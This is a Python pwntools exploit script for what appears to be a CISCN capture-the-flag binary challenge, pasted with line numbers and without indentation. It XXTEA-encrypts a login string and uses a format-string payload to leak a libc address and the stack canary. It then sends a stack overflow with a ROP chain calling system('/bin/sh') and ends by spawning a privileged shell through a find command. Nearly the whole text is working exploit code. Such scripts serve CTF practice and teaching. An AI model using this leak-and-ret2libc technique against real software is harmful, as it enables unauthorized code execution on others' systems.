1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
| import struct
from pwn import *
import warnings
warnings.filterwarnings("ignore", category=BytesWarning)
DELTA = 0x9e3779b9
def xxtea_encrypt(data, key):
def mx(sum, y, z, p, e, key):
return (((z >> 5) ^ (y << 2)) + ((y >> 3) ^ (z << 4))) ^ ((sum ^ y) + (key[(p & 3) ^ e] ^ z))
n = len(data) - 1
z = data[n]
y = data[0]
sum = 0
q = 6 + 52 // (n + 1)
while q > 0:
q -= 1
sum = (sum + DELTA) & 0xffffffff
e = (sum >> 2) & 3
for p in range(n):
y = data[p + 1]
z = data[p] = (data[p] + mx(sum, y, z, p, e, key)) & 0xffffffff
y = data[0]
z = data[n] = (data[n] + mx(sum, y, z, n, e, key)) & 0xffffffff
return data
def xxtea_decrypt(data, key):
def mx(sum, y, z, p, e, key):
return (((z >> 5) ^ (y << 2)) + ((y >> 3) ^ (z << 4))) ^ ((sum ^ y) + (key[(p & 3) ^ e] ^ z))
n = len(data) - 1
z = data[n]
y = data[0]
q = 6 + 52 // (n + 1)
sum = (q * DELTA) & 0xffffffff
while sum != 0:
e = (sum >> 2) & 3
for p in range(n, 0, -1):
z = data[p - 1]
y = data[p] = (data[p] - mx(sum, y, z, p, e, key)) & 0xffffffff
z = data[n]
y = data[0] = (data[0] - mx(sum, y, z, 0, e, key)) & 0xffffffff
sum = (sum - DELTA) & 0xffffffff
return data
def str_to_uint32(data):
n = (len(data) + 3) // 4
data = data.ljust(n * 4, '\0')
return list(struct.unpack(f'<{n}I', data.encode('utf-8')))
def uint32_to_str(data):
return struct.pack(f'<{len(data)}I', *data).decode('utf-8').rstrip('\0')
key = [0x12345678, 0x9abcdef0, 0x11223344, 0x55667788]
text = "Hello, Welcome to CISCN, CTFer!"
data = str_to_uint32(text)
encrypted_data = xxtea_encrypt(data.copy(), key)
encrypted_text = ''.join(f'{x:08x}' for x in encrypted_data)
lg = lambda s : log.success('\033[1;32;1m%s\033[0m -> \033[1;36;1m0x%x\033[0m' % (s, eval(s)))
print(encrypted_text)
def dbg(gdbscript = None):
context.terminal = ["tmux", "splitw", "-h"]
gdb.attach(io,"gcinit -m64 2.31\n"+str(gdbscript))
pause()
io = process('./pwn')
libc = ELF('./libc-2.31.so')
context.log_level = 'debug'
payload = encrypted_text
payload += str('%p%29$p')
io.recvuntil('Enter your login text:')
io.sendline(payload)
io.recvuntil('453a8f8cfa6533fbd8cbf90fd61e1ec517194f21c734a1f4586449aff8a8cf92')
leak_addr = int(io.recv(14),16)
lg('leak_addr')
offset = 0x7f7e0a864723 - 0x7f7e0a677000
libc.address = leak_addr - offset
lg('libc.address')
system = libc.sym['system']
bin_sh = next(libc.search(b"/bin/sh"))
canary = int(io.recv(18),16)
lg('canary')
payload = b'a'*136
payload += p64(canary)
payload += p64(0)
payload += p64(libc.address + 0x0000000000023b6a)
payload += p64(libc.search(b"/bin/sh").__next__())
payload += p64(libc.address + 0x00000000000be2f9)
payload += p64(libc.sym['system'])
io.sendline(payload)
io.sendline('\n\nfind flag -exec /bin/sh -p \;')
io.interactive()
|
